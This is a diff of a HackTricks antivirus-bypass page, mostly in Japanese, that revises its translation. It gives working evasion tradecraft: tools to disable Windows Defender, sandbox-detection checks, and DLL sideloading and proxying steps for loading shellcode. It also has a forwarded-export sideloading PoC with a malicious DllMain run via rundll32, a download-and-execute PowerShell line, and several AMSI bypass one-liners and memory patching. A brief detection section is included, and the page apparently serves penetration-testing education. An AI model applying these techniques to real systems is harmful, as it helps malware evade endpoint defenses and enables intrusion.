- 有用なリソースには、[YouTube の説明](https://www.youtube.com/watch?v=2VF_wPkiBJY) と [PDF スライド](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) が含まれます。
|
||||
- **demovfuscator** は movfuscator のオブフスケーションを逆転させる可能性があり、`libcapstone-dev` と `libz3-dev` のような依存関係が必要で、[keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) をインストールする必要があります。
|
||||
|
||||
## **Delphi**
|
||||
|
||||
- Delphi バイナリには、[IDR](https://github.com/crypto2011/IDR) が推奨されます。
|
||||
|
||||
# コース
|
||||
|
||||
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
|
||||
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(バイナリデオブフスケーション\)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,95 +1,100 @@
|
||||
# アンチウイルス (AV) バイパス
|
||||
# Antivirus (AV) Bypass
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**このページは** [**@m2rc_p**](https://twitter.com/m2rc_p)**によって書かれました!**
|
||||
|
||||
## Defenderの停止
|
||||
## Stop Defender
|
||||
|
||||
- [defendnot](https://github.com/es3n1n/defendnot): Windows Defenderの動作を停止させるツール。
|
||||
- [no-defender](https://github.com/es3n1n/no-defender): 別のAVを偽装してWindows Defenderの動作を停止させるツール。
|
||||
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
|
||||
- [管理者であれば Defender を無効化する](basic-powershell-for-pentesters/README.md)
|
||||
|
||||
## **AV Evasion Methodology**
|
||||
|
||||
現在、AVはファイルが悪意あるかどうかを判定するために、static detection、dynamic analysis、そしてより高度なEDRではbehavioural analysisといった複数の手法を使用しています。
|
||||
現在、AVはファイルが悪意あるかどうかを判定するために、主に静的検出、動的解析、そしてより高度なEDRでは行動分析といった異なる手法を使用しています。
|
||||
|
||||
### **Static detection**
|
||||
|
||||
Static detectionは、バイナリやスクリプト内の既知の悪意ある文字列やバイト列をフラグ付けしたり、ファイル自体から(例:file description, company name, digital signatures, icon, checksum, etc.)情報を抽出することで実現されます。これは、既知の公開ツールを使うと解析・フラグ付けされている可能性が高いため、検出されやすくなることを意味します。こうした検出を回避する方法がいくつかあります:
|
||||
静的検出は、バイナリやスクリプト内の既知の悪意ある文字列やバイト列をフラグ付けしたり、ファイル自体から情報を抽出したり(例: file description、company name、digital signatures、icon、checksumなど)して行われます。つまり、既知の公開ツールを使うと、既に解析されて悪意ありとマークされている可能性が高いため、検出されやすくなります。これを回避する方法はいくつかあります:
|
||||
|
||||
- **Encryption**
|
||||
|
||||
バイナリを暗号化すれば、AVがプログラムを検出する手段はなくなりますが、メモリ上で復号して実行するためのローダーが必要になります。
|
||||
バイナリを暗号化すれば、AVがプログラムを検出することは難しくなりますが、メモリ上で復号して実行するためのローダーが必要になります。
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
場合によっては、バイナリやスクリプト内のいくつかの文字列を変更するだけでAVをすり抜けられますが、何をobfuscateするかによっては時間のかかる作業になることがあります。
|
||||
バイナリやスクリプト内の文字列を変更するだけでAVをすり抜けられることがありますが、何を難読化するかによっては手間がかかる場合があります。
|
||||
|
||||
- **Custom tooling**
|
||||
|
||||
自作のツールを開発すれば既知の悪いシグネチャは存在しませんが、その分多くの時間と労力が必要になります。
|
||||
独自ツールを開発すれば既知の悪性シグネチャは存在しないため検出されにくくなりますが、これには多大な時間と労力が必要です。
|
||||
|
||||
> [!TIP]
|
||||
> Windows Defenderのstatic detectionに対してチェックする良い方法は[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)です。ThreatCheckは基本的にファイルを複数のセグメントに分割し、各セグメントを個別にDefenderにスキャンさせることで、バイナリ内でフラグが立つ具体的な文字列やバイトを特定できます。
|
||||
> Windows Defenderの静的検出を確認する良い方法は [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) です。ファイルを複数のセグメントに分割し、それぞれを個別にDefenderにスキャンさせることで、バイナリ内のどの文字列やバイトがフラグされているかを正確に知ることができます。
|
||||
|
||||
実践的なAV Evasionについての解説を見るにはこの[YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)を強くおすすめします。
|
||||
実践的なAV回避についてはこの [YouTubeのプレイリスト](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) を強くおすすめします。
|
||||
|
||||
### **Dynamic analysis**
|
||||
|
||||
Dynamic analysisはAVがバイナリをsandbox内で実行し、悪意ある活動(例:ブラウザのパスワードを復号して読み取ろうとする、LSASSのminidumpを取得する等)を監視することを指します。この部分は扱いがやや難しいですが、sandboxを回避するためにできることがいくつかあります。
|
||||
動的解析は、AVがバイナリをサンドボックス内で実行して悪意ある活動(例: ブラウザのパスワードを復号して読む、LSASSのminidumpを取得するなど)を監視する方法です。この部分は扱いがやや難しくなりますが、サンドボックスを回避するためにできることがいくつかあります。
|
||||
|
||||
- **Sleep before execution** Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AV's have a very short time to scan files to not interrupt the user's workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV's sandboxes can just skip the sleep depending on how it's implemented.
|
||||
- **Checking machine's resources** Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user's machine. You can also get very creative here, for example by checking the CPU's temperature or even the fan speeds, not everything will be implemented in the sandbox.
|
||||
- **Machine-specific checks** If you want to target a user who's workstation is joined to the "contoso.local" domain, you can do a check on the computer's domain to see if it matches the one you've specified, if it doesn't, you can make your program exit.
|
||||
- **Sleep before execution**
|
||||
実装方法によっては、実行前に長時間スリープすることがAVの動的解析を回避する良い手段になることがあります。AVはユーザーのワークフローを妨げないためにファイルをスキャンする時間が非常に短いため、長いスリープは解析を妨げる可能性があります。ただし、多くのAVのサンドボックスは実装によってはスリープをスキップすることができます。
|
||||
|
||||
Microsoft DefenderのSandboxのcomputernameがHAL9THであることが判明しているため、マルウェアにおいて実行前にコンピュータ名をチェックし、名前がHAL9THであればDefenderのsandbox内にいることを意味するのでプログラムを終了させる、といった対策が可能です。
|
||||
- **Checking machine's resources**
|
||||
通常、サンドボックスは作業用に非常に限られたリソース(例: < 2GB RAM)しか割り当てられていません。CPU温度やファン速度をチェックするなど、クリエイティブな検査を行えば、サンドボックスでは実装されていない項目を突けることがあります。
|
||||
|
||||
- **Machine-specific checks**
|
||||
ターゲットが "contoso.local" ドメインに参加しているワークステーションである場合、コンピュータのドメインをチェックして一致しなければプログラムを終了させる、といったことが可能です。
|
||||
|
||||
Microsoft DefenderのSandboxのコンピュータ名が HAL9TH であることが判明しているので、マルウェアが起動する前にコンピュータ名をチェックし、名前が HAL9TH と一致する場合はDefenderのサンドボックス内にいると判断してプログラムを終了させる、という手が使えます。
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
Some other really good tips from [@mgeeky](https://twitter.com/mariuszbit) for going against Sandboxes
|
||||
サンドボックス対策に関しては [@mgeeky](https://twitter.com/mariuszbit) からの非常に良いヒントもあります。
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
|
||||
|
||||
前述の通り、**public tools**はいずれ**検出されます**。そこで自問すべきことがあります:
|
||||
前述したように、**public tools** はいずれ **検出される** ようになります。そこで自分に問いかけるべきことは次のような点です:
|
||||
|
||||
For example, if you want to dump LSASS, **do you really need to use mimikatz**? Or could you use a different project which is lesser known and also dumps LSASS.
|
||||
例えば、LSASSをダンプしたいときに、**本当に mimikatz を使う必要があるのか**?それとも、LSASSをダンプできる、あまり知られていない別のプロジェクトを使うほうが良いのではないか、ということです。
|
||||
|
||||
正解はおそらく後者です。mimikatzを例に取ると、プロジェクト自体は非常に優れているものの、AVやEDRによって最もフラグ付けされているツールの一つであり、AVを回避するために扱うのは悪夢のような作業になりがちです。したがって、達成したい目的に対して代替ツールを探すべきです。
|
||||
正しい答えはおそらく後者です。mimikatz を例に取ると、プロジェクト自体は素晴らしいものですが、AVやEDRによって最もフラグ付けされているツールの一つであり、AV回避の観点では扱いが非常に面倒です。つまり、達成したい目的に対する代替を探すべきです。
|
||||
|
||||
> [!TIP]
|
||||
> 回避のためにペイロードを修正する際は、Defenderで**automatic sample submissionをオフ**にすることを必ず行ってください。真剣に言いますが、長期的に回避を目指すなら**DO NOT UPLOAD TO VIRUSTOTAL**。特定のAVに検出されるか確認したい場合は、VMにインストールしてautomatic sample submissionをオフにし、結果に満足するまでそこでテストしてください。
|
||||
> 回避のためにペイロードを変更する場合は、Defenderの自動サンプル送信をオフにすることを忘れないでください。そして真剣に言いますが、長期的に回避を目指すなら **VIRUSTOTAL にアップロードしないでください**。特定のAVで検出されるかどうかを確認したい場合は、VMにそのAVをインストールし、自動サンプル送信をオフにしてから、そこで満足いくまでテストしてください。
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
可能な限り、回避のためには常に**DLLsを優先して使用する**ことをおすすめします。私の経験では、DLLファイルは通常**検出されにくく**、解析されにくいことが多いため、(ペイロードがDLLとして実行できるのであれば)検出を回避するための非常に単純なトリックとなります。
|
||||
可能な限り、回避のためには常に **DLLs を使うことを優先**してください。私の経験では、DLLファイルは通常 **検出されにくく**、解析されにくいことが多く、ペイロードがDLLとして実行できる方法を持っている場合は、検出を回避するための非常に単純で効果的なトリックになります。
|
||||
|
||||
この画像からわかるように、HavocのDLLペイロードはantiscan.meで検出率が4/26なのに対し、EXEペイロードは7/26です。
|
||||
この画像のように、HavocのDLLペイロードはantiscan.meで検出率が4/26だったのに対し、EXEペイロードは7/26の検出率でした。
|
||||
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
|
||||
|
||||
ここからはDLLファイルを使ってよりステルス性を高めるためのいくつかのトリックを紹介します。
|
||||
ここからは、DLLファイルを使ってさらにステルス性を高めるためのいくつかのトリックを紹介します。
|
||||
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
**DLL Sideloading**はloaderが使用するDLL検索順序を利用し、victim applicationとmalicious payload(s)を並べて配置することで成り立ちます。
|
||||
**DLL Sideloading** は、ローダーが使用するDLL検索順序を悪用し、被害者アプリケーションと悪意あるペイロードを同じ場所に配置することで成立します。
|
||||
|
||||
You can check for programs susceptible to DLL Sideloading using [Siofra](https://github.com/Cybereason/siofra) and the following powershell script:
|
||||
脆弱なDLL Sideloadingの可能性があるプログラムは [Siofra](https://github.com/Cybereason/siofra) と以下のpowershellスクリプトを使って確認できます:
|
||||
```bash
|
||||
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
|
||||
$binarytoCheck = "C:\Program Files\" + $_
|
||||
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
|
||||
}
|
||||
```
|
||||
このコマンドは "C:\Program Files\\" 内で DLL hijacking の影響を受けやすいプログラムの一覧と、それらが読み込もうとする DLL ファイルを出力します。
|
||||
このコマンドは "C:\Program Files\\" 内で DLL hijacking に脆弱なプログラムの一覧と、それらがロードしようとする DLL ファイルを出力します。
|
||||
|
||||
私は **explore DLL Hijackable/Sideloadable programs yourself** を強くおすすめします。適切に行えばこのテクニックはかなりステルスですが、公開されている既知の DLL Sideloadable プログラムを使用すると簡単に検出される可能性があります。
|
||||
私は、**explore DLL Hijackable/Sideloadable programs yourself** を強くお勧めします。適切に行えばこの手法はかなりステルス性が高いですが、公開されている既知の DLL Sideloadable プログラムを使用すると簡単に見つかる可能性があります。
|
||||
|
||||
プログラムが読み込むことを期待する名前の悪意のある DLL を置いただけでは、プログラムがその DLL 内に特定の関数を期待しているため、payload を読み込まないことがほとんどです。この問題を解決するために、別のテクニックである **DLL Proxying/Forwarding** を使います。
|
||||
単にプログラムがロードすることを期待している名前の悪意ある DLL を配置しただけでは、プログラムが当該 DLL 内の特定の関数を期待しているため、必ずしもペイロードは実行されません。この問題を解決するために、別の手法である **DLL Proxying/Forwarding** を使用します。
|
||||
|
||||
**DLL Proxying** は、プログラムが行う呼び出しをプロキシ(および悪意ある)DLL からオリジナルの DLL に転送することで、プログラムの機能を維持しつつ、payload の実行を扱えるようにします。
|
||||
**DLL Proxying** は、プログラムが行う呼び出しをプロキシ(および悪意ある)DLL から元の DLL に転送することで、プログラムの機能を保持しつつペイロードの実行を扱えるようにします。
|
||||
|
||||
私は [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) プロジェクトを [@flangvik](https://twitter.com/Flangvik/) から利用します。
|
||||
私は [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) プロジェクトを [@flangvik](https://twitter.com/Flangvik/) から使用します。
|
||||
|
||||
以下が私が行った手順です:
|
||||
```
|
||||
@ -98,14 +103,12 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
|
||||
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
|
||||
```
|
||||
最後のコマンドは2つのファイルを出力します: DLL のソースコードテンプレートと、リネームされた元の DLL。
|
||||
最後のコマンドは、次の2つのファイルを生成します: DLLのソースコードテンプレートと、名前が変更された元のDLL。
|
||||
|
||||
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
|
||||
```
|
||||
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
|
||||
```
|
||||
These are the results:
|
||||
|
||||
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the proxy DLL have a 0/26 Detection rate in [antiscan.me](https://antiscan.me)! I would call that a success.
|
||||
@ -113,33 +116,33 @@ Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> **強くお勧めします**:DLL Sideloading については [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) を、さらに深く学ぶには [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) もご覧ください。
|
||||
> I **highly recommend** you watch [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) about DLL Sideloading and also [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) to learn more about what we've discussed more in-depth.
|
||||
|
||||
### 転送エクスポートの悪用 (ForwardSideLoading)
|
||||
### Forwarded Exports の悪用 (ForwardSideLoading)
|
||||
|
||||
Windows PE モジュールは、実際には "forwarders" である関数をエクスポートすることができます:コードを指す代わりに、エクスポートエントリは `TargetDll.TargetFunc` の形式の ASCII 文字列を含みます。呼び出し側がエクスポートを解決すると、Windows ローダーは次のことを行います:
|
||||
Windows PE モジュールは、実際には "forwarders" である関数をエクスポートすることができます: コードを指す代わりに、エクスポートエントリには `TargetDll.TargetFunc` の形式の ASCII 文字列が含まれます。呼び出し側がそのエクスポートを解決すると、Windows ローダーは次のことを行います:
|
||||
|
||||
- まだロードされていない場合、`TargetDll` をロードする
|
||||
- まだロードされていない場合 `TargetDll` をロードする
|
||||
- そこから `TargetFunc` を解決する
|
||||
|
||||
理解すべき主な挙動:
|
||||
- `TargetDll` が KnownDLL の場合、保護された KnownDLLs 名前空間(例: ntdll, kernelbase, ole32)から提供される。
|
||||
- `TargetDll` が KnownDLL でない場合、通常の DLL サーチ順序が使用され、その中には forward 解決を行っているモジュールのディレクトリが含まれる。
|
||||
理解しておくべき主な挙動:
|
||||
- `TargetDll` が KnownDLL の場合、保護された KnownDLLs 名前空間(例: ntdll, kernelbase, ole32)から供給されます。
|
||||
- `TargetDll` が KnownDLL でない場合は、通常の DLL 検索順が使用され、forward 解決を行っているモジュールのディレクトリも含まれます。
|
||||
|
||||
これにより間接的な sideloading プリミティブが可能になります:署名された DLL のうち関数を non-KnownDLL モジュール名に forward しているものを見つけ、その署名された DLL を、forward のターゲットモジュール名と完全に同じ名前の攻撃者制御の DLL と同じ場所に配置します。forwarded export が呼び出されると、ローダーは forward を解決して同じディレクトリからあなたの DLL をロードし、あなたの DllMain を実行します。
|
||||
これにより間接的な sideloading プリミティブが可能になります: 署名された DLL の中で、エクスポートが non-KnownDLL モジュール名に forward されているものを見つけ、その署名 DLL を、forward のターゲットモジュールと正確に同じ名前の attacker-controlled DLL と同じディレクトリに配置します。forwarded export が呼び出されると、ローダーは forward を解決し、同じディレクトリからあなたの DLL をロードして DllMain を実行します。
|
||||
|
||||
Example observed on Windows 11:
|
||||
```
|
||||
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
|
||||
```
|
||||
`NCRYPTPROV.dll` は KnownDLL ではないため、通常の検索順序で解決されます。
|
||||
`NCRYPTPROV.dll` は KnownDLL ではないため、通常の検索順で解決されます。
|
||||
|
||||
PoC(コピペ):
|
||||
1) サイン済みのシステムDLLを書き込み可能なフォルダにコピーする
|
||||
PoC (copy-paste):
|
||||
1) 署名されたシステム DLL を書き込み可能なフォルダにコピーする
|
||||
```
|
||||
copy C:\Windows\System32\keyiso.dll C:\test\
|
||||
```
|
||||
2) 同じフォルダに悪意のある `NCRYPTPROV.dll` を配置する。最小限の DllMain で code execution を得られる; DllMain をトリガーするために転送された関数を実装する必要はない。
|
||||
2) 同じフォルダに悪意のある `NCRYPTPROV.dll` を置く。最小限の `DllMain` で code execution を得られる; DllMain をトリガーするために forwarded function を実装する必要はない。
|
||||
```c
|
||||
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
|
||||
#include <windows.h>
|
||||
@ -151,35 +154,35 @@ if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
3) 署名済みのLOLBinでフォワードをトリガーする:
|
||||
3) 署名済みのLOLBinで転送をトリガーする:
|
||||
```
|
||||
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
|
||||
```
|
||||
Observed behavior:
|
||||
- rundll32(署名済み)がサイドバイサイドの `keyiso.dll`(署名済み)をロードする
|
||||
- `KeyIsoSetAuditingInterface` を解決する際、ローダーはフォワード先の `NCRYPTPROV.SetAuditingInterface` を辿る
|
||||
- ローダーは次に `C:\test` から `NCRYPTPROV.dll` をロードし、その `DllMain` を実行する
|
||||
- もし `SetAuditingInterface` が実装されていない場合、`DllMain` 実行後にのみ "missing API" エラーが発生する
|
||||
観察された挙動:
|
||||
- rundll32(署名済み)が side-by-side の `keyiso.dll`(署名済み)をロードする
|
||||
- `KeyIsoSetAuditingInterface` を解決する際、ローダーはフォワード先の `NCRYPTPROV.SetAuditingInterface` をたどる
|
||||
- ローダーはその後 `C:\test` から `NCRYPTPROV.dll` をロードし、その `DllMain` を実行する
|
||||
- `SetAuditingInterface` が実装されていない場合、`DllMain` が既に実行された後になって初めて "missing API" エラーが発生する
|
||||
|
||||
Hunting tips:
|
||||
- ターゲットモジュールが KnownDLL ではないフォワードされたエクスポートに注目する。KnownDLLs は `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs` に列挙されている。
|
||||
- フォワードされたエクスポートは、次のようなツールで列挙できる:
|
||||
- ターゲットモジュールが KnownDLL でない forwarded exports に注目する。KnownDLLs は `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs` に列挙されている。
|
||||
- forwarded exports を列挙するには、例えば以下のようなツールを使える:
|
||||
```
|
||||
dumpbin /exports C:\Windows\System32\keyiso.dll
|
||||
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
|
||||
```
|
||||
- 候補を探すには Windows 11 forwarder の一覧を参照: https://hexacorn.com/d/apis_fwd.txt
|
||||
- Windows 11 forwarder のインベントリを確認して候補を探す: https://hexacorn.com/d/apis_fwd.txt
|
||||
|
||||
検出/防御のアイデア:
|
||||
- LOLBins(例: rundll32.exe)が非システムパスから署名済みDLLを読み込み、そのディレクトリから同じベース名の非KnownDLLsを読み込む一連の動作を監視する
|
||||
- ユーザー書き込み可能なパス上での `rundll32.exe` → 非システム `keyiso.dll` → `NCRYPTPROV.dll` のようなプロセス/モジュール連鎖を検知してアラートを出す
|
||||
Detection/defense ideas:
|
||||
- LOLBins (例: rundll32.exe) が非システムパスから署名済みDLLを読み込み、続いて同じベース名の非KnownDLLsをそのディレクトリから読み込む動作を監視する
|
||||
- 次のようなプロセス/モジュールのチェーンをアラートする: `rundll32.exe` → 非システムの `keyiso.dll` → `NCRYPTPROV.dll` がユーザ書き込み可能なパス下にある場合
|
||||
- コード整合性ポリシー(WDAC/AppLocker)を適用し、アプリケーションディレクトリでの書き込み+実行を拒否する
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
|
||||
|
||||
Freeze を使って、shellcode をステルスにロードして実行できます。
|
||||
Freeze を使用して shellcode をステルスに読み込み、実行できます。
|
||||
```
|
||||
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
|
||||
1. Generate some shellcode, in this case I used Havoc C2.
|
||||
@ -189,13 +192,13 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Evasion は単なるいたちごっこです。今日通用する手法が明日には検出されることがあるため、ひとつのツールだけに頼らないでください。可能であれば、複数の evasion 技術をチェインすることを検討してください。
|
||||
> Evasion はいたちごっこに過ぎません。今日有効な方法が明日には検出される可能性があるため、単一のツールに頼らないでください。可能であれば複数の回避手法を組み合わせてください。
|
||||
|
||||
## AMSI (Anti-Malware Scan Interface)
|
||||
|
||||
AMSI は "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)" を防ぐために作られました。以前は AV は主にディスク上のファイルをスキャンする能力しかなかったため、ペイロードをメモリ上で直接実行できれば、AV は十分な可視性がないため防げませんでした。
|
||||
AMSI は "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)" を防ぐために作られました。初期の頃、AV はディスク上のファイルしかスキャンできなかったため、ペイロードをメモリ上で直接実行できれば AV はそれを阻止できませんでした(可視性が不足していたため)。
|
||||
|
||||
AMSI 機能は Windows の以下のコンポーネントに統合されています。
|
||||
AMSI の機能は Windows の以下のコンポーネントに統合されています。
|
||||
|
||||
- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
|
||||
- PowerShell (scripts, interactive use, and dynamic code evaluation)
|
||||
@ -203,39 +206,39 @@ AMSI 機能は Windows の以下のコンポーネントに統合されていま
|
||||
- JavaScript and VBScript
|
||||
- Office VBA macros
|
||||
|
||||
これにより、アンチウイルスはスクリプトの内容を平文かつ難読化されていない形で取得してスクリプト挙動を検査できます。
|
||||
これはスクリプトの内容を暗号化されておらず、難読化もされていない形で公開することで、アンチウイルスがスクリプトの挙動を検査できるようにします。
|
||||
|
||||
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` を実行すると、Windows Defender 上で以下のアラートが生成されます。
|
||||
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` を実行すると、Windows Defender に以下のアラートが出ます。
|
||||
|
||||
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
`amsi:` を前置し、その後にスクリプトが実行された実行ファイルへのパス(この例では powershell.exe)を付加している点に注意してください。
|
||||
`amsi:` を先頭に付け、その後スクリプトが実行された実行ファイルのパス(この場合は powershell.exe)を表示している点に注意してください。
|
||||
|
||||
ファイルをディスクにドロップしていなくても、AMSI のためにメモリ上で検出されてしまいました。
|
||||
ファイルをディスクに落としていなくても、AMSI のためにメモリ内で検出されてしまいました。
|
||||
|
||||
さらに、**.NET 4.8** からは C# コードも AMSI を経由して実行されます。これは `Assembly.Load(byte[])` によるメモリ上ロードにも影響します。したがって、AMSI を回避してメモリ実行を行いたい場合は、.NET の低いバージョン(例えば 4.7.2 以下)を使うことが推奨されます。
|
||||
さらに、**.NET 4.8** 以降では C# コードも AMSI を経由して実行されます。これは `Assembly.Load(byte[])` によるインメモリ実行にも影響します。そのため、AMSI を回避したい場合は、インメモリ実行のために .NET のより古いバージョン(例: 4.7.2 以下)を使うことが推奨されます。
|
||||
|
||||
AMSI を回避する方法はいくつかあります。
|
||||
AMSI を回避する方法はいくつかあります:
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
AMSI は主に静的検出で動作するため、読み込もうとするスクリプトを修正することは検出回避の有効な手段になり得ます。
|
||||
AMSI は主に静的検出で動作するため、読み込もうとするスクリプトを変更することで検出を回避できる場合があります。
|
||||
|
||||
しかし、AMSI は複数層の難読化であってもスクリプトの難読化を解除する能力を持っているため、どうやって難読化するかによっては逆に悪手になる可能性があります。つまり必ずしも簡単に回避できるわけではありません。とはいえ、変数名をいくつか変えるだけで済む場合もあるので、フラグ付けの程度によります。
|
||||
ただし、AMSI には多層にわたる難読化を解除する能力があるため、難読化のやり方によっては逆効果になることもあります。したがって回避は単純ではありません。とはいえ、変数名を少し変えるだけで通ることもあるので、どれだけフラグが立っているかによります。
|
||||
|
||||
- **AMSI Bypass**
|
||||
|
||||
AMSI は DLL を powershell(および cscript.exe、wscript.exe など)のプロセスにロードすることで実装されているため、権限の低いユーザでも比較的容易に改ざんすることが可能です。この AMSI の実装上の欠陥により、研究者たちは AMSI スキャンを回避する複数の方法を発見しています。
|
||||
AMSI は DLL を powershell(および cscript.exe、wscript.exe 等)のプロセスにロードして実装されているため、権限のないユーザーであっても簡単に改ざんできる場合があります。この実装上の欠陥により、研究者達はいくつかの AMSI スキャン回避手法を発見しています。
|
||||
|
||||
**Forcing an Error**
|
||||
|
||||
AMSI の初期化を失敗させる(amsiInitFailed)と、当該プロセスに対してスキャンが行われなくなります。これは元々 [Matt Graeber](https://twitter.com/mattifestation) によって公開され、Microsoft はこれの広範な利用を防ぐシグネチャを開発しました。
|
||||
AMSI の初期化を失敗させる(amsiInitFailed)と、当該プロセスに対してスキャンが開始されなくなります。これは元々 [Matt Graeber](https://twitter.com/mattifestation) によって公開され、Microsoft はそれの広範な利用を防ぐためのシグネチャを開発しました。
|
||||
```bash
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
現在の powershell プロセスに対して AMSI を無効化するには、たった1行の powershell コードで十分だった。この行はもちろん AMSI 自体に検出されるため、この手法を使うにはいくつかの変更が必要だ。
|
||||
現在の powershell プロセスで AMSI を動作不能にするのに必要だったのは、たった1行の powershell コードだけだった。この行はもちろん AMSI 自身により検出されるため、この手法を使うには修正が必要だ。
|
||||
|
||||
以下は私がこの [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) から取った修正版の AMSI bypass だ。
|
||||
以下は私がこの [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) から取った修正済みの AMSI bypass だ。
|
||||
```bash
|
||||
Try{#Ams1 bypass technic nº 2
|
||||
$Xdatabase = 'Utils';$Homedrive = 'si'
|
||||
@ -253,74 +256,74 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
|
||||
|
||||
**Memory Patching**
|
||||
|
||||
This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
|
||||
この手法は最初に[@RastaMouse](https://twitter.com/_RastaMouse/)によって発見されました。ユーザー入力をスキャンする役割を持つ "AmsiScanBuffer" 関数のアドレスを amsi.dll 内で特定し、E_INVALIDARG を返すように命令を書き換えます。こうすることで実際のスキャン結果は 0 を返し、クリーンと解釈されます。
|
||||
|
||||
> [!TIP]
|
||||
> 詳細は [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) を参照してください。
|
||||
> 詳しい説明は [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) をご覧ください。
|
||||
|
||||
There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.
|
||||
AMSI を PowerShell で回避するための他の手法も多数あります。詳細は [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) と [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) を参照してください。
|
||||
|
||||
